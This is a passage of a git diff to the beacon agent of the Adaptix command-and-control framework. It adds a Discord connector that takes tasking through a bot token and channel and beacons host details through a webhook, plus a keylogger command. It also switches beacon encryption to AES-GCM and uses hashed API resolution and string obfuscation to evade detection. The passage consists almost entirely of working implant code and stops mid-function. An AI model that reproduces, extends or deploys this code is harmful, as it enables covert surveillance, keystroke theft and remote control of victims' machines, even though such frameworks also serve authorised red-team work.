$(DNS_DIST_DIR)/main_shellcode.x86.o - @rm -f $(DNS_DIST_DIR)/ConnectorHTTP.x86.o $(DNS_DIST_DIR)/ConnectorSMB.x86.o $(DNS_DIST_DIR)/ConnectorTCP.x86.o + @rm -f $(DNS_DIST_DIR)/ConnectorHTTP.x86.o $(DNS_DIST_DIR)/ConnectorSMB.x86.o $(DNS_DIST_DIR)/ConnectorTCP.x86.o $(DNS_DIST_DIR)/ConnectorDiscord.x86.o + @ # discord + @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DISCORD -D BUILD_SVC -o $(DISCORD_DIST_DIR)/main_service.x86.o + @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DISCORD -D BUILD_DLL -o $(DISCORD_DIST_DIR)/main_dll.x86.o + @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DISCORD -D BUILD_SHELLCODE -o $(DISCORD_DIST_DIR)/main_shellcode.x86.o + @rm -f $(DISCORD_DIST_DIR)/ConnectorHTTP.x86.o $(DISCORD_DIST_DIR)/ConnectorSMB.x86.o $(DISCORD_DIST_DIR)/ConnectorTCP.x86.o $(DISCORD_DIST_DIR)/ConnectorDNS.x86.o $(HTTP_DIST_DIR)/%.x64.o: beacon/%.cpp @@ -176,3 +195,17 @@ $(DNS_DIST_DIR)/miniz.x64.o: beacon/miniz.cpp $(DNS_DIST_DIR)/miniz.x86.o: beacon/miniz.cpp @$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_DNS $(MINIZ_TRIM_FLAGS) -c $< -o $@ + + + +$(DISCORD_DIST_DIR)/%.x64.o: beacon/%.cpp + @$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_DISCORD -c $< -o $@ + +$(DISCORD_DIST_DIR)/%.x86.o: beacon/%.cpp + @$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_DISCORD -c $< -o $@ + +$(DISCORD_DIST_DIR)/miniz.x64.o: beacon/miniz.cpp + @$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_DISCORD $(MINIZ_TRIM_FLAGS) -c $< -o $@ + +$(DISCORD_DIST_DIR)/miniz.x86.o: beacon/miniz.cpp + @$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_DISCORD $(MINIZ_TRIM_FLAGS) -c $< -o $@ diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp index 794093fae..7cbe07756 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Agent.cpp @@ -26,8 +26,8 @@ Agent::Agent() proxyfire = new Proxyfire(); pivotter = new Pivotter(); - SessionKey = (PBYTE) MemAllocLocal(16); - for (int i = 0; i < 16; i++) + SessionKey = (PBYTE) MemAllocLocal(AES_GCM_KEY_SIZE); + for (int i = 0; i < AES_GCM_KEY_SIZE; i++) SessionKey[i] = GenerateRandom32() % 0x100; } @@ -100,45 +100,44 @@ BYTE* Agent::BuildBeat(ULONG* size) packer->Pack8(this->info->minor_version); packer->Pack32(this->info->internal_ip); packer->Pack8( flag ); - packer->PackBytes(this->SessionKey, 16); + packer->PackBytes(this->SessionKey, AES_GCM_KEY_SIZE); packer->PackStringA(this->info->domain_name); packer->PackStringA(this->info->computer_name); packer->PackStringA(this->info->username); packer->PackStringA(this->info->process_name); - EncryptRC4(packer->data(), packer->datasize(), this->config->encrypt_key, 16); + int beatEncLen; + unsigned char* beatEnc = EncryptAES256GCM(packer->data(), packer->datasize(), this->config->encrypt_key, &beatEncLen); MemFreeLocal((LPVOID*)&this->info->domain_name, StrLenA(this->info->domain_name)); MemFreeLocal((LPVOID*)&this->info->computer_name, StrLenA(this->info->computer_name)); MemFreeLocal((LPVOID*)&this->info->username, StrLenA(this->info->username)); MemFreeLocal((LPVOID*)&this->info->process_name, StrLenA(this->info->process_name)); -#if defined(BEACON_HTTP) || defined(BEACON_DNS) +#if defined(BEACON_HTTP) || defined(BEACON_DNS) || defined(BEACON_DISCORD) - ULONG beat_size = packer->datasize(); - PBYTE beat = packer->data(); + ULONG beat_size = beatEncLen; + PBYTE beat = beatEnc; -#elif defined(BEACON_SMB) +#elif defined(BEACON_SMB) - ULONG beat_size = packer->datasize() + 4; + ULONG beat_size = beatEncLen + 4; PBYTE beat = (PBYTE)MemAllocLocal(beat_size); memcpy(beat, &(this->config->listener_type), 4); - memcpy(beat+4, packer->data(), packer->datasize()); + memcpy(beat+4, beatEnc, beatEncLen); - PBYTE pdata = packer->data(); - MemFreeLocal((LPVOID*)&pdata, packer->datasize()); + MemFreeLocal((LPVOID*)&beatEnc, beatEncLen); -#elif defined(BEACON_TCP) +#elif defined(BEACON_TCP) - ULONG beat_size = packer->datasize() + 4; + ULONG beat_size = beatEncLen + 4; PBYTE beat = (PBYTE)MemAllocLocal(beat_size); memcpy(beat, &(this->config->listener_type), 4); - memcpy(beat + 4, packer->data(), packer->datasize()); + memcpy(beat + 4, beatEnc, beatEncLen); - PBYTE pdata = packer->data(); - MemFreeLocal((LPVOID*)&pdata, packer->datasize()); + MemFreeLocal((LPVOID*)&beatEnc, beatEncLen); #endif diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp index 90ef0c054..e632e6692 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.cpp @@ -25,10 +25,11 @@ AgentConfig::AgentConfig() Packer* packer = new Packer((BYTE*)ProfileBytes, size); ULONG profileSize = packer->Unpack32(); - this->encrypt_key = (PBYTE) MemAllocLocal(16); - memcpy(this->encrypt_key, packer->data() + 4 + profileSize, 16); + this->encrypt_key = (PBYTE) MemAllocLocal(AES_GCM_KEY_SIZE); + memcpy(this->encrypt_key, packer->data() + 4 + profileSize, AES_GCM_KEY_SIZE); - DecryptRC4(packer->data()+4, profileSize, this->encrypt_key, 16); + int plainLen; + DecryptAES256GCM(packer->data()+4, profileSize, this->encrypt_key, &plainLen); this->agent_type = packer->Unpack32(); this->kill_date = packer->Unpack32(); @@ -98,6 +99,14 @@ AgentConfig::AgentConfig() this->profile.burst_jitter = packer->Unpack32(); this->profile.dns_mode = packer->Unpack32(); this->profile.user_agent = packer->UnpackBytesCopy(&length); + +#elif defined(BEACON_DISCORD) + this->listener_type = packer->Unpack32(); + this->profile.webhook_url = packer->UnpackBytesCopy(&length); + this->profile.bot_token = packer->UnpackBytesCopy(&length); + this->profile.channel_tasks_id = packer->UnpackBytesCopy(&length); + this->profile.poll_interval = packer->Unpack32(); + this->profile.cleanup = packer->Unpack8(); #endif #if defined(BEACON_DNS) diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.h index 71d70131c..6a1f17a73 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/AgentConfig.h @@ -64,6 +64,14 @@ typedef struct { BYTE* user_agent; } ProfileDNS; +typedef struct { + BYTE* webhook_url; + BYTE* bot_token; + BYTE* channel_tasks_id; + ULONG poll_interval; + BOOL cleanup; +} ProfileDiscord; + #endif @@ -95,6 +103,9 @@ class AgentConfig #elif defined(BEACON_DNS) ProfileDNS profile; +#elif defined(BEACON_DISCORD) + ProfileDiscord profile; + #endif AgentConfig(); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h index 56d63be9c..2a6fd362e 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h @@ -5,6 +5,7 @@ #define HASH_LIB_IPHLPAPI 0x2d288345 #define HASH_LIB_ADVAPI32 0x721421e8 #define HASH_LIB_MSVCRT 0xb707534d +#define HASH_LIB_USER32 0x1206f7d2 //ntdll @@ -35,13 +36,11 @@ #define HASH_FUNC_CREATENAMEDPIPEA 0x375c5b8c #define HASH_FUNC_CREATEPIPE 0xd38cc306 #define HASH_FUNC_CREATEPROCESSA 0x352ef9d8 -#define HASH_FUNC_CREATEPROCESSWITHTOKENW 0x231cf52b #define HASH_FUNC_CREATETHREAD 0xf30d4c30 #define HASH_FUNC_DELETECRITICALSECTION 0x21d8fe57 #define HASH_FUNC_DELETEFILEA 0x75b1df38 #define HASH_FUNC_DISCONNECTNAMEDPIPE 0x6d59f261 #define HASH_FUNC_ENTERCRITICALSECTION 0x5b6e9a42 -#define HASH_FUNC_TRYENTERCRITICALSECTION 0x5181e9e1 #define HASH_FUNC_FINDCLOSE 0x257f195b #define HASH_FUNC_FINDFIRSTFILEA 0x2ffa9aae #define HASH_FUNC_FINDNEXTFILEA 0xdacd2845 @@ -88,18 +87,16 @@ #define HASH_FUNC_RTLCAPTURECONTEXT 0x626d2e2f #define HASH_FUNC_SETCURRENTDIRECTORYA 0x2e1c9789 #define HASH_FUNC_SETEVENT 0xe26f0832 +#define HASH_FUNC_TRYENTERCRITICALSECTION 0x5181e9e1 #define HASH_FUNC_RESETEVENT 0x455f5749 #define HASH_FUNC_SETNAMEDPIPEHANDLESTATE 0x89e25d30 #define HASH_FUNC_SLEEP 0x5b4b729d #define HASH_FUNC_VIRTUALALLOC 0x63ce6376 #define HASH_FUNC_VIRTUALFREE 0xbd37a32d #define HASH_FUNC_WAITFORSINGLEOBJECT 0x471fd0f9 -#define HASH_FUNC_WAITFORMULTIPLEOBJECTS 0xa8544ad6 #define HASH_FUNC_WAITNAMEDPIPEA 0x8a2ba58d #define HASH_FUNC_WIDECHARTOMULTIBYTE 0x12d4f52d #define HASH_FUNC_WRITEFILE 0xd4a33cef -#define HASH_FUNC_GETOVERLAPPEDRESULT 0xcb755695 -#define HASH_FUNC_CANCELIO 0xdc3c6d02 // iphlpapi #define HASH_FUNC_GETADAPTERSINFO 0xa1376764 @@ -117,6 +114,7 @@ #define HASH_FUNC_SETSECURITYDESCRIPTORDACL 0x37dc047b #define HASH_FUNC_DUPLICATETOKENEX 0xa7ab369d #define HASH_FUNC_CREATEPROCESSASUSERA 0x4cb03b6b +#define HASH_FUNC_CREATEPROCESSWITHTOKENW 0x231cf52b // msvcrt #if defined(DEBUG) @@ -198,4 +196,13 @@ #define HASH_FUNC_BIND 0x6f560281 #define HASH_FUNC_LISTEN 0xb4374c73 #define HASH_FUNC_RECVFROM 0xcfb09288 -#define HASH_FUNC_SENDTO 0xc44006d1 \ No newline at end of file +#define HASH_FUNC_SENDTO 0xc44006d1 + +//user32 +#define HASH_FUNC_GETASYNCKEYSTATE 0x124c2dac +#define HASH_FUNC_GETFOREGROUNDWINDOW 0x641cf097 +#define HASH_FUNC_GETKEYBOARDSTATE 0x41305fb6 +#define HASH_FUNC_GETWINDOWTEXTW 0x745a77f8 +#define HASH_FUNC_GETWINDOWTHREADPROCESSID 0x6ede2a0 +#define HASH_FUNC_MAPVIRTUALKEYW 0x8142b7c9 +#define HASH_FUNC_TOUNICODE 0x406b25ee \ No newline at end of file diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.cpp index 86f626ebb..da52f2b8b 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.cpp @@ -1,6 +1,7 @@ #include "Commander.h" #include "bof_loader.h" #include "Boffer.h" +#include "Keylogger.h" extern HANDLE g_StoredToken; @@ -143,6 +144,9 @@ void Commander::ProcessCommandTasks(BYTE* recv, ULONG recvSize, Packer* outPacke case COMMAND_UPLOAD: this->CmdUpload(CommandId, inPacker, outPacker); break; + case COMMAND_KEYLOG_START: + this->CmdKeylogStart(CommandId, inPacker, outPacker); break; + case COMMAND_SAVEMEMORY: this->CmdSaveMemory(CommandId, inPacker, outPacker); break; @@ -1191,6 +1195,48 @@ void Commander::CmdUpload(ULONG commandId, Packer* inPacker, Packer* outPacker) +void Commander::CmdKeylogStart(ULONG commandId, Packer* inPacker, Packer* outPacker) +{ + ULONG pollMs = inPacker->Unpack32(); + ULONG taskId = inPacker->Unpack32(); + + if (pollMs < 10) + pollMs = 100; + + HANDLE pipeRead = NULL; + HANDLE pipeWrite = NULL; + SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; + ApiWin->CreatePipe(&pipeRead, &pipeWrite, &sa, 0); + + if (!pipeRead || !pipeWrite) { + outPacker->Pack32(taskId); + outPacker->Pack32(COMMAND_ERROR); + outPacker->Pack32(TEB->LastErrorValue); + return; + } + + KeylogConfig* cfg = (KeylogConfig*)MemAllocLocal(sizeof(KeylogConfig)); + cfg->pipeWrite = pipeWrite; + cfg->active = 1; + cfg->pollIntervalMs = pollMs; + + HANDLE hThread = ApiWin->CreateThread(NULL, 0, KeylogWorker, cfg, 0, NULL); + if (!hThread) { + ApiNt->NtClose(pipeRead); + ApiNt->NtClose(pipeWrite); + MemFreeLocal((LPVOID*)&cfg, sizeof(KeylogConfig)); + outPacker->Pack32(taskId); + outPacker->Pack32(COMMAND_ERROR); + outPacker->Pack32(TEB->LastErrorValue); + return; + } + + agent->jober->CreateJobData(taskId, JOB_TYPE_LOCAL, JOB_STATE_RUNNING, hThread, 0, pipeRead, pipeWrite); + + outPacker->Pack32(taskId); + outPacker->Pack32(commandId); +} + void Commander::CmdSaveMemory(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG memoryId = inPacker->Unpack32(); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.h index 55ec1e553..d04b4ab63 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.h @@ -32,6 +32,8 @@ #define COMMAND_SHELL_ACEPT 74 +#define COMMAND_KEYLOG_START 80 + #define COMMAND_SAVEMEMORY 0x2321 #define COMMAND_ERROR 0x1111ffff @@ -82,6 +84,7 @@ class Commander void CmdUnlink(ULONG commandId, Packer* inPacker, Packer* outPacker); void CmdUpload(ULONG commandId, Packer* inPacker, Packer* outPacker); + void CmdKeylogStart(ULONG commandId, Packer* inPacker, Packer* outPacker); void CmdSaveMemory(ULONG commandId, Packer* inPacker, Packer* outPacker); void Exit(Packer* outPacker); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDNS.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDNS.cpp index 371621675..dfbacfe4f 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDNS.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDNS.cpp @@ -809,15 +809,17 @@ BOOL ConnectorDNS::SetProfile(void* profilePtr, BYTE* beat, ULONG beatSize) if (!beat || !beatSize || beatSize < 8) return FALSE; - // Extract agent ID from beat + // Extract agent ID from beat (beat is AES-GCM encrypted: [IV(12)][CT][Tag(16)]) + // Decrypt a copy to read the plaintext agent_id at offset 4 BYTE* beatCopy = (BYTE*)MemAllocLocal(beatSize); if (!beatCopy) return FALSE; memcpy(beatCopy, beat, beatSize); - EncryptRC4(beatCopy, beatSize, this->encryptKey, 16); + int plainLen; + DecryptAES256GCM(beatCopy, beatSize, this->encryptKey, &plainLen); - ULONG agentId = (beatSize >= 8) ? ReadBE32(beatCopy + 4) : 0; + ULONG agentId = (plainLen >= 8) ? ReadBE32(beatCopy + 4) : 0; MemFreeLocal((LPVOID*)&beatCopy, beatSize); ApiWin->snprintf(this->sid, sizeof(this->sid), "%08x", agentId); @@ -951,14 +953,17 @@ void ConnectorDNS::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) sessionBuf[3] = (BYTE)((plainSize >> 16) & 0xFF); sessionBuf[4] = (BYTE)((plainSize >> 24) & 0xFF); memcpy(sessionBuf + 5, payload, payloadLen); - EncryptRC4(sessionBuf, (int)sessionLen, sessionKey, 16); - sendBuf = sessionBuf; - sendLen = sessionLen; + int encLen; + unsigned char* encData = EncryptAES256GCM(sessionBuf, (int)sessionLen, sessionKey, &encLen); + MemFreeLocal((LPVOID*)&sessionBuf, sessionLen); + sendBuf = encData; + sendLen = encLen; } else { - EncryptRC4(plainData, (int)plainSize, sessionKey, 16); - sendBuf = plainData; - sendLen = plainSize; + int encLen; + unsigned char* encData = EncryptAES256GCM(plainData, (int)plainSize, sessionKey, &encLen); + sendBuf = encData; + sendLen = encLen; } this->SendData(sendBuf, sendLen); @@ -974,8 +979,7 @@ void ConnectorDNS::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) } } - if (sessionBuf) - MemFreeLocal((LPVOID*)&sessionBuf, sessionLen); + MemFreeLocal((LPVOID*)&sendBuf, sendLen); if ((flags & 0x1) && payload && payload != plainData) MemFreeLocal((LPVOID*)&payload, payloadLen); @@ -986,11 +990,13 @@ void ConnectorDNS::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) // Decrypt received data with session key if (this->recvSize > 0 && this->recvData) { - DecryptRC4(this->recvData, this->recvSize, sessionKey, 16); + int plainLen; + DecryptAES256GCM(this->recvData, this->recvSize, sessionKey, &plainLen); + this->recvSize = plainLen; } } -void ConnectorDNS::Sleep(HANDLE wakeupEvent, ULONG workingSleep, ULONG sleepDelay, ULONG jitter, BOOL hasOutput, DWORD pollIntervalMs) +void ConnectorDNS::Sleep(HANDLE wakeupEvent, ULONG workingSleep, ULONG sleepDelay, ULONG jitter, BOOL hasOutput) { BOOL isBusy = this->IsBusy(); BOOL burst = isBusy || (this->lastUpTotal >= 1024) || (this->lastDownTotal >= 1024) || hasOutput; @@ -1012,17 +1018,7 @@ void ConnectorDNS::Sleep(HANDLE wakeupEvent, ULONG workingSleep, ULONG sleepDela this->ResetTrafficTotals(); } else { - if (pollIntervalMs > 0) { - if (wakeupEvent) { - DWORD r = ApiWin->WaitForSingleObject(wakeupEvent, pollIntervalMs); - if (r == WAIT_OBJECT_0) - ApiWin->ResetEvent(wakeupEvent); - } else { - ApiWin->Sleep(pollIntervalMs); - } - } else { - WaitMaskWithEvent(wakeupEvent, workingSleep, sleepDelay, jitter); - } + WaitMaskWithEvent(wakeupEvent, workingSleep, sleepDelay, jitter); if (burst) this->ResetTrafficTotals(); } @@ -1128,7 +1124,7 @@ void ConnectorDNS::SendHeartbeat() ULONG hbNonce = this->functions->GetTickCount() ^ (this->seq * 7919); BYTE hbData[kAckDataSize]; BuildAckData(hbData, this->downAckOffset, hbNonce, this->downTaskNonce); - EncryptRC4(hbData, kAckDataSize, this->encryptKey, 16); + CryptAES256Stream(hbData, kAckDataSize, this->encryptKey); CHAR hbLabel[32] = { 0 }; DnsCodec::Base32Encode(hbData, kAckDataSize, hbLabel, sizeof(hbLabel)); @@ -1182,7 +1178,7 @@ void ConnectorDNS::SendAck() ULONG ackNonce = this->functions->GetTickCount() ^ (this->seq * 7919) ^ 0xACEACE; BYTE ackData[kAckDataSize]; BuildAckData(ackData, this->downAckOffset, ackNonce, this->downTaskNonce); - EncryptRC4(ackData, kAckDataSize, this->encryptKey, 16); + CryptAES256Stream(ackData, kAckDataSize, this->encryptKey); CHAR ackLabel[32] = { 0 }; DnsCodec::Base32Encode(ackData, kAckDataSize, ackLabel, sizeof(ackLabel)); @@ -1344,7 +1340,7 @@ void ConnectorDNS::SendData(BYTE* data, ULONG data_size) WriteBE32(frame + kMetaSize + 4, sendOffset); memcpy(frame + kHeaderSize, data + sendOffset, chunk); - EncryptRC4(frame, frameSize, this->encryptKey, 16); + CryptAES256Stream(frame, frameSize, this->encryptKey); memset(dataLabel, 0, sizeof(dataLabel)); if (!DnsCodec::BuildDataLabels(frame, frameSize, this->labelSize, dataLabel, sizeof(dataLabel))) { @@ -1499,7 +1495,7 @@ void ConnectorDNS::SendData(BYTE* data, ULONG data_size) BYTE reqData[kReqDataSize]; WriteBE32(reqData, reqOffset); WriteBE32(reqData + 4, nonce); - EncryptRC4(reqData, kReqDataSize, this->encryptKey, 16); + CryptAES256Stream(reqData, kReqDataSize, this->encryptKey); CHAR reqLabel[24]; memset(reqLabel, 0, sizeof(reqLabel)); @@ -1530,7 +1526,7 @@ void ConnectorDNS::SendData(BYTE* data, ULONG data_size) return; } - DecryptRC4(binBuf, binLen, this->encryptKey, 16); + CryptAES256Stream(binBuf, binLen, this->encryptKey); const ULONG headerSize = 8; if (binLen > (int)headerSize) { diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.cpp new file mode 100644 index 000000000..d2c68bd52 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.cpp @@ -0,0 +1,914 @@ +#include "ConnectorDiscord.h" +#include "ApiLoader.h" +#include "ApiDefines.h" +#include "Obfuscate.h" +#include "ProcLoader.h" +#include "Encoders.h" +#include "Crypt.h" +#include "utils.h" +#include "config.h" +#include "DebugLog.h" + + +// ============================================================================ +// Local helpers (same pattern as ConnectorHTTP.cpp) +// ============================================================================ + +static DWORD _slen(const CHAR* str) +{ + DWORD i = 0; + if (str != NULL) + for (; str[i]; i++); + return i; +} + +static void _scopy(CHAR* dst, const CHAR* src, DWORD len) +{ + for (DWORD i = 0; i < len; i++) + dst[i] = src[i]; +} + +static int _sfind(const CHAR* haystack, DWORD haystackLen, const CHAR* needle, DWORD needleLen) +{ + if (needleLen == 0 || needleLen > haystackLen) + return -1; + for (DWORD i = 0; i <= haystackLen - needleLen; i++) { + DWORD j = 0; + while (j < needleLen && haystack[i + j] == needle[j]) + j++; + if (j == needleLen) + return (int)i; + } + return -1; +} + + +// ============================================================================ +// operator new / delete +// ============================================================================ + +void* ConnectorDiscord::operator new(size_t sz) +{ + void* p = MemAllocLocal(sz); + return p; +} + +void ConnectorDiscord::operator delete(void* p) noexcept +{ + MemFreeLocal(&p, sizeof(ConnectorDiscord)); +} + + +// ============================================================================ +// Constructor +// ============================================================================ + +ConnectorDiscord::ConnectorDiscord() +{ + this->hSession = NULL; + this->recvData = NULL; + this->recvSize = 0; + this->beatData = NULL; + this->beatSize = 0; + this->beatSent = FALSE; + this->tokenObf = NULL; + this->tokenObfLen = 0; + + memset(this->discordHost, 0, sizeof(this->discordHost)); + memset(this->webhookPath, 0, sizeof(this->webhookPath)); + memset(this->tasksPath, 0, sizeof(this->tasksPath)); + memset(this->authHeader, 0, sizeof(this->authHeader)); + memset(this->tokenXorKey, 0, sizeof(this->tokenXorKey)); + + this->functions = (DISCORDFUNC*) ApiWin->LocalAlloc(LPTR, sizeof(DISCORDFUNC)); + + this->functions->LocalAlloc = ApiWin->LocalAlloc; + this->functions->LocalReAlloc = ApiWin->LocalReAlloc; + this->functions->LocalFree = ApiWin->LocalFree; + this->functions->LoadLibraryA = ApiWin->LoadLibraryA; + this->functions->GetLastError = ApiWin->GetLastError; + + HMODULE hWininetModule = this->functions->LoadLibraryA(OBF("wininet.dll")); + DBG("[*] ConnectorDiscord: wininet.dll=0x%p", hWininetModule); + if (hWininetModule) { + this->functions->InternetOpenA = (decltype(InternetOpenA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETOPENA); + this->functions->InternetConnectA = (decltype(InternetConnectA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETCONNECTA); + this->functions->HttpOpenRequestA = (decltype(HttpOpenRequestA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPOPENREQUESTA); + this->functions->HttpSendRequestA = (decltype(HttpSendRequestA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPSENDREQUESTA); + this->functions->InternetSetOptionA = (decltype(InternetSetOptionA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETSETOPTIONA); + this->functions->InternetQueryOptionA = (decltype(InternetQueryOptionA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETQUERYOPTIONA); + this->functions->HttpQueryInfoA = (decltype(HttpQueryInfoA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPQUERYINFOA); + this->functions->InternetQueryDataAvailable = (decltype(InternetQueryDataAvailable)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETQUERYDATAAVAILABLE); + this->functions->InternetCloseHandle = (decltype(InternetCloseHandle)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETCLOSEHANDLE); + this->functions->InternetReadFile = (decltype(InternetReadFile)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETREADFILE); + } +} + + +// ============================================================================ +// XOR helper — in-place XOR with key +// ============================================================================ + +void ConnectorDiscord::XorBuffer(BYTE* buf, ULONG len, BYTE* key, ULONG keyLen) +{ + for (ULONG i = 0; i < len; i++) + buf[i] ^= key[i % keyLen]; +} + + +// ============================================================================ +// ParseWebhookUrl — extract host + path from webhook URL +// Input: "https://discord.com/api/webhooks/xxx/yyy" +// Output: discordHost = "discord.com", webhookPath = "/api/webhooks/xxx/yyy" +// ============================================================================ + +void ConnectorDiscord::ParseWebhookUrl(const CHAR* url) +{ + // Skip "https://" + const CHAR* p = url; + DWORD urlLen = _slen(url); + + // Find "://" + int schemeEnd = _sfind(p, urlLen, "://", 3); + if (schemeEnd >= 0) + p = url + schemeEnd + 3; + + // Find first '/' after host + const CHAR* slash = p; + while (*slash && *slash != '/') + slash++; + + DWORD hostLen = (DWORD)(slash - p); + if (hostLen >= sizeof(this->discordHost)) + hostLen = sizeof(this->discordHost) - 1; + _scopy(this->discordHost, p, hostLen); + this->discordHost[hostLen] = 0; + + // Path is everything from '/' onward + DWORD pathLen = _slen(slash); + if (pathLen >= sizeof(this->webhookPath)) + pathLen = sizeof(this->webhookPath) - 1; + _scopy(this->webhookPath, slash, pathLen); + this->webhookPath[pathLen] = 0; + + DBG("[*] Discord: parsed host=%s path=%s", this->discordHost, this->webhookPath); +} + + +// ============================================================================ +// DeobfuscateToken — XOR-decrypt bot_token into caller buffer +// ============================================================================ + +void ConnectorDiscord::DeobfuscateToken(CHAR* out, ULONG outSize) +{ + if (!this->tokenObf || this->tokenObfLen == 0) + return; + + ULONG copyLen = this->tokenObfLen; + if (copyLen >= outSize) + copyLen = outSize - 1; + + memcpy(out, this->tokenObf, copyLen); + out[copyLen] = 0; + this->XorBuffer((BYTE*)out, copyLen, this->tokenXorKey, sizeof(this->tokenXorKey)); +} + + +// ============================================================================ +// SetConfig — initialize connector, store profile, send initial beat +// ============================================================================ + +BOOL ConnectorDiscord::SetConfig(ProfileDiscord prof, BYTE* beat, ULONG bSize) +{ + this->profile = prof; + this->beatSize = bSize; + this->beatSent = FALSE; + + // Copy beat data + if (beat && bSize > 0) { + this->beatData = (BYTE*) this->functions->LocalAlloc(LPTR, bSize); + memcpy(this->beatData, beat, bSize); + } + + // Parse webhook URL + if (prof.webhook_url) + this->ParseWebhookUrl((const CHAR*) prof.webhook_url); + + // Build tasks path: "/api/v10/channels//messages?limit=10" + if (prof.channel_tasks_id) { + auto pfx = OBF("/api/v10/channels/"); + auto sfx = OBF("/messages?limit=10"); + DWORD pfxLen = _slen(pfx); + DWORD idLen = _slen((CHAR*) prof.channel_tasks_id); + DWORD sfxLen = _slen(sfx); + + if (pfxLen + idLen + sfxLen < sizeof(this->tasksPath)) { + DWORD off = 0; + _scopy(this->tasksPath + off, pfx, pfxLen); off += pfxLen; + _scopy(this->tasksPath + off, (CHAR*) prof.channel_tasks_id, idLen); off += idLen; + _scopy(this->tasksPath + off, sfx, sfxLen); off += sfxLen; + this->tasksPath[off] = 0; + } + DBG("[*] Discord: tasksPath=%s", this->tasksPath); + } + + // XOR-obfuscate bot_token in memory + if (prof.bot_token) { + ULONG tokenLen = _slen((CHAR*) prof.bot_token); + GenerateRandomBytes(this->tokenXorKey, sizeof(this->tokenXorKey)); + + this->tokenObf = (BYTE*) this->functions->LocalAlloc(LPTR, tokenLen + 1); + memcpy(this->tokenObf, prof.bot_token, tokenLen); + this->tokenObf[tokenLen] = 0; + this->tokenObfLen = tokenLen; + this->XorBuffer(this->tokenObf, tokenLen, this->tokenXorKey, sizeof(this->tokenXorKey)); + + // Wipe original token from profile memory + memset(prof.bot_token, 0, tokenLen); + } + + // Build auth header: "Authorization: Bot \r\n" + { + CHAR tokenBuf[200]; + memset(tokenBuf, 0, sizeof(tokenBuf)); + this->DeobfuscateToken(tokenBuf, sizeof(tokenBuf)); + + auto authPfx = OBF("Authorization: Bot "); + DWORD authPfxLen = _slen(authPfx); + DWORD tokenLen = _slen(tokenBuf); + + if (authPfxLen + tokenLen + 1 < sizeof(this->authHeader)) { + DWORD off = 0; + _scopy(this->authHeader + off, authPfx, authPfxLen); off += authPfxLen; + _scopy(this->authHeader + off, tokenBuf, tokenLen); off += tokenLen; + this->authHeader[off] = 0; + } + + DBG("[*] Discord: authHeader len=%lu token len=%lu token[0..5]=%c%c%c%c%c%c", + _slen(this->authHeader), tokenLen, + tokenBuf[0], tokenBuf[1], tokenBuf[2], tokenBuf[3], tokenBuf[4], tokenBuf[5]); + + // Wipe cleartext token + 